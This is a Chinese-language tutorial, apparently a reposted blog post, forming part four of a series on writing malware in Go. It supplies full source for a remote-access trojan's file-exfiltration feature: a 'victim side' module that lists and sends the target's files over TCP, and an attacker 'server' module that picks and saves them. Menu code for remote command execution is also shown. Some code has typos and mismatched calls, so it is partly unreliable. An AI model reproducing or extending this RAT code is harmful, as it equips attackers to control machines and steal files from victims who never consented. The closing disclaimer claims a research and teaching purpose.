Go :恶意软件开发(第四部分)

admin 2024年12月28日22:10:08评论10 views字数 7479阅读24分55秒阅读模式
Go :恶意软件开发(第四部分)Go :恶意软件开发(第四部分)Go :恶意软件开发(第四部分)

欢迎回来!在前面的部分中,我们启动并运行了 TCP 服务器和客户端,远程执行系统命令并支持将文件上传到目标计算机。现在,是时候再次升级了。在这一部分中,我们将深入探讨如何从目标计算机下载文件,引导您完成无缝处理文件传输的步骤。在本指南结束时,您将了解如何有效地启动文件下载。

如果您错过了前面的部分,您可以赶上

这里 : 第一部分 , 第二部分 , 第三部分 .

Go :恶意软件开发(第四部分)Go :恶意软件开发(第四部分)Go :恶意软件开发(第四部分)
截图

此屏幕截图捕获了我们在上一部分中断的位置:成功上传到远程计算机。现在,让我们继续前进,开始实现我们的下一个功能:从远程计算机下载文件。让我们深入了解这个新功能并扩展我们的工具包!file.jpeg

首先,我们来设置一个新目录。你可以给它起任何你喜欢的名字;在这里,我们将使用 。UploadFiles

在此目录中,我们将创建基础代码文件,在本例中调用它。此文件将管理将文件上传到服务器计算机的逻辑。upload.go

在此文件上传实施中,我们将定义几个基本的目标端函数,以有效地处理文件传输过程。那么,让我们分解代码的每个部分以了解其目的和功能。

1. 结构体定义

type filesListstruct {
 Files []string
}

type Datastruct {
 FileNamestring
 FileSizeint
 FileContent []byte
}

该结构包含文件名 () 列表,用于将可用文件从目标系统发送到服务器。该结构包含正在传输的实际文件数据,以及 (文件名)、 (文件大小) 和 (文件内容(以字节为单位) 的属性。filesList[]stringDataFileNameFileSizeFileContent

2. ReadFileContent 函数

funcReadFileContent(fileNamestring) ([]byte,error) {

 file, err := os.Open(fileName)

if err !=nil {
 fmt.Println("Unable to open file:", err)
returnnil, err
 }
defer file.Close()

 stats, _ := file.Stat()
 fileSize := stats.Size()
 fmt.Println("File contains", fileSize,"bytes")

 bytes :=make([]byte, fileSize)
 buffer := bufio.NewReader(file)
 _, err = buffer.Read(bytes)
return bytes, err
}

该函数打开指定的文件并将其内容读取到字节数组中。它首先尝试打开文件;如果不成功,它将打印错误消息并退出。打开文件后,它会检索文件大小以分配适当大小的字节数组,然后将文件内容读入此数组,返回内容以及遇到的任何错误。ReadFileContent

3. UploadFilesFromRemoteMachineToServer 函数

文件列表

funcUploadFilesFromRemoteMachineToServer(connection net.Conn) (errerror) {

var files []string
 filesArr, _ := ioutil.ReadDir(".")
for index, file :=range filesArr {
 mode := file.Mode()
if mode.IsRegular() {
 files =append(files, file.Name())
 fmt.Println("t", index,"t", file.Name())
 }
 }

此功能管理将文件传输到服务器的整个过程。它首先列出当前目录中的所有文件,并仅过滤常规文件,不包括目录。每个文件名都会添加到列表中,然后显示该列表。然后,此列表被编码并发送到服务器。ReadDirfiles

之后,它会等待服务器指定要下载的文件。它读取所选文件的内容并通过连接发送,从而完成文件传输。

文件列表传输

fileList := &filesList{Files: files}
enc := gob.NewEncoder(connection)
_ = enc.Encode(fileList)

将数组包装在一个结构中并使用 对其进行编码,然后通过 .filesfilesListgobconnection

文件选择和检索

reader := bufio.NewReader(connection)
fileNameToDownloadRaw, _ := reader.ReadString('n')
fileNameToDownload := strings.TrimSuffix(fileNameToDownloadRaw,"n")
contents, _ :=ReadFileContent(fileNameToDownload)

该函数的这一部分读取服务器选择的文件名,并删除任何尾随换行符以清理输入。然后,它使用该函数读取指定文件的内容,准备将其传输回服务器。ReadFileContent

文件数据结构体的创建和传输

fs := &Data{
 FileName: fileNameToDownload,
 FileSize:len(contents),
 FileContent: contents,
}

encoder := gob.NewEncoder(connection)
err = encoder.Encode(fs)b

该函数的这一部分将创建一个结构,其中包括文件的名称、大小和内容。然后,它对此结构进行编码,并通过连接将其发送到服务器,从而完成文件传输过程。Data

#Victom Side (UploadFilesupload.go)

package uploadfiles

import (
"bufio"
"encoding/gob"
"fmt"
"io/ioutil"
"net"
"strings"
"os"
)

type filesListstruct {
 Files []string
}

type Datastruct {
 FileNamestring
 FileSizeint
 FileContent []byte
}

funcReadFileContent(fileNamestring) ([]byte,error) {
 file, err := os.Open(fileName)
if err !=nil {
 fmt.Println("Unable to open file:", err)
returnnil, err
 }
defer file.Close()

 stats, _ := file.Stat()
 fileSize := stats.Size()
 fmt.Println("File contains", fileSize,"bytes")

 bytes :=make([]byte, fileSize)
 buffer := bufio.NewReader(file)
 _, err = buffer.Read(bytes)
return bytes, err
}

funcUploadFilesFromRemoteMachineToServer(connection net.Conn) (errerror) {

var files []string
 filesArr, _ := ioutil.ReadDir(".")
for index, file :=range filesArr {
 mode := file.Mode()
if mode.IsRegular() {
 files =append(files, file.Name())
 fmt.Println("t", index,"t", file.Name())
 }
 }

 fileList := &filesList{Files: files}
 enc := gob.NewEncoder(connection)
 _ = enc.Encode(fileList)

 reader := bufio.NewReader(connection)
 fileNameToDownloadRaw, _ := reader.ReadString('n')
 fileNameToDownload := strings.TrimSuffix(fileNameToDownloadRaw,"n")
 contents, _ := ReadFileContent(fileNameToDownload)

 fs := &Data{
 FileName: fileNameToDownload,
 FileSize:len(contents),
 FileContent: contents,
 }

 encoder := gob.NewEncoder(connection)
 err = encoder.Encode(fs)


return
}

S0 ..

完成 Target 端代码后,让我们转到 Serve 端 ,在其中我们将探索每个功能块:

1. 结构体定义

type Datastruct {
 FileNamestring
 FileSizeint
 FileContent []byte
}

此结构包含文件名 ()、大小 () 和实际内容 () 作为字节数组。它用于保存文件详细信息以进行传输。FileNameFileSizeFileContent

2. DownloadFromRemoteMachine 函数

从远程计算机下载文件的核心功能 .

初始化和解码文件列表

fileStruct := &filesList{}
dec := gob.NewDecoder(connection)
err = dec.Decode(fileStruct)

初始化一个空结构体,并用于将传入数据解码到此结构体中,填充从服务器接收的文件名列表。filesListgob.NewDecoderfileStruct

显示文件选项

for index, fileName :=range fileStruct.Files {
 fmt.Println("t", index,"t", fileName)
}
fmt.Print("Select file :")

遍历切片并打印每个文件的索引和名称,允许用户通过输入相应的索引来选择一个。Files

读取和处理用户输入

reader := bufio.NewReader(os.Stdin)
fileToDownloadRaw, _ := reader.ReadString('n')
fileToDownload := strings.TrimSuffix(fileToDownloadRaw,"n")

设置缓冲读取器以捕获用户输入。存储输入,然后使用 删除任何换行符进行清理。fileToDownloadRawTrimSuffix

将输入转换为索引并检索文件名

fileIndex, _ := strconv.Atoi(fileToDownload)
fileNAme := fileStruct.Files[fileIndex]
NByte, _ := connection.Write([]byte(fileNAme +"n"))
fmt.Println("File name sent : ", NByte)

转换用户的输入(从字符串到整数)以标识选定的文件索引,然后从切片中检索相应的文件名。Files

接收和解码文件数据

decoder := gob.NewDecoder(connection)
fs := &Data{}
decoder.Decode(fs)

初始化一个空结构 () 并用于将从服务器接收的文件数据解码为此结构。现在, 包含文件的名称、大小和内容,可供进一步处理。Datafsgob.NewDecoderfs

在本地创建和写入文件

file , _ :=os.Create(fs.FileName)
nBytes , err := file.Write(fs.FileContent)
fmt.Println("File Downloaded: ", nBytes)

使用 中指定的名称创建新文件,将收到的文件内容 () 写入此文件,并打印写入的字节数以确认下载完成。fs.FileNamefs.FileContent

#Server Side (downloaddownload.go)

package download

import (
"bufio"
"encoding/gob"
"fmt"
"net"
"os"
"strconv"
"strings"
)

type filesListstruct {
 Files []string
}

type Datastruct {
 FileNamestring
 FileSizeint
 FileContent []byte
}

funcDownloadFromRemoteMachine(connection net.Conn) (errerror) {
 fileStruct := &filesList{}
 dec := gob.NewDecoder(connection)
 err = dec.Decode(fileStruct)
for index, fileName :=range fileStruct.Files {
 fmt.Println("t", index,"t", fileName)
 }
 fmt.Print("Select file :")

 reader := bufio.NewReader(os.Stdin)

 fileToDownloadRaw, _ := reader.ReadString('n')

 fileToDownload := strings.TrimSuffix(fileToDownloadRaw,"n")

 fileIndex, _ := strconv.Atoi(fileToDownload)

 fileNAme := fileStruct.Files[fileIndex]
 NByte, _ := connection.Write([]byte(fileNAme +"n"))
 fmt.Println("File name sent : ", NByte)

 decoder := gob.NewDecoder(connection)
 fs := &Data{}
 decoder.Decode(fs)

 file , _ :=os.Create(fs.FileName)

 nBytes , err := file.Write(fs.FileContent)

 fmt.Println("File Downloaded: ", nBytes)

return
}

好了!我们已经介绍了从远程计算机成功下载文件所需的一切。核心功能已全部设置并运行顺畅。现在,我们只需要对主文件进行一些调整,从服务器端文件开始,以完成我们的设置。main.go

下面是为 “Download Files” 选项添加了 “4” 的函数,使其准备好在执行过程中显示Options

#ServerSide (main.go)

..
funcOptions() {
 fmt.Println("t[1] > Execute Command")
 fmt.Println("t[2] > File System Navigation")
 fmt.Println("t[3] > Upload Files")
 fmt.Println("t[4] > Download Files")
 fmt.Println("t[99] > Exit")
 fmt.Println()
}
..

以下是函数中更新的语句,其中包含新的 Functions :switchmain

#Serve Side (main.go)

..
switch userInput {
 case "1":
 fmt.Println("[+] Command Execution Program")
 err := executecommandwindows.ExecuteCommandswindowsRemotely(connection)
displayError(err)

 case"2":
 fmt.Println("Navigating File System")
 err := move.RemoteFileSystemNavigation(connection)
displayError(err)

 case"3":
 fmt.Println("Uploading Files")
 err := uploadfiles.UploadFilesToRemoteMachine(connection)
displayError(err)

 case"4":
 fmt.Println("Downloading Files")
 err := download.DownloadFromRemoteMachine(connection)
displayError(err)

 case"99":
 fmt.Println("[+] Exiting The Program")
 loopControl = false

 default:
 fmt.Println("[-] Invalid Option, Try again")
 }
..

开关。。

#Victim Side (main.go)

..
switch userInput {
 case "1":
 fmt.Println("[+] Executing Windows Command")
 err = executesystemcommands.CommandswindowsRemotelyExecution(connection)
DisplayError(err)

 case"2":
 fmt.Println("File System Navigation")
 err = move.FileSystemNavigation(connection)
DisplayError(err)

 case"3":
 fmt.Println("Downloading file from server")
 err = downloadfiles.ReadFileContent(connection)
DisplayError(err)

 case"4" :
 fmt.Println("Uploading file to here")
 err = uploadfiles.UploadFilesFromRemoteMachineToServer(connection)
DisplayError(err)

 case"99":
 fmt.Println("[-] Exiting Program")
 loopControl = false

 default:
 fmt.Println("[-] Invalid Option Received from Server")
 }
..

现在,我们已经建立了一个强大的流程,用于将文件从目标计算机检索到我们的服务器。我们演练了列出可用文件、选择要下载的文件并通过网络传输它的过程,确保它成功到达。

这种设置增强了我们的远程交互能力,允许从远程系统无缝检索数据。接下来,我们将探索其他功能。

 

原文始发于微信公众号(安全狗的自我修养):Go :恶意软件开发(第四部分)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日22:10:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Go :恶意软件开发(第四部分)https://cn-sec.com/archives/3493694.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息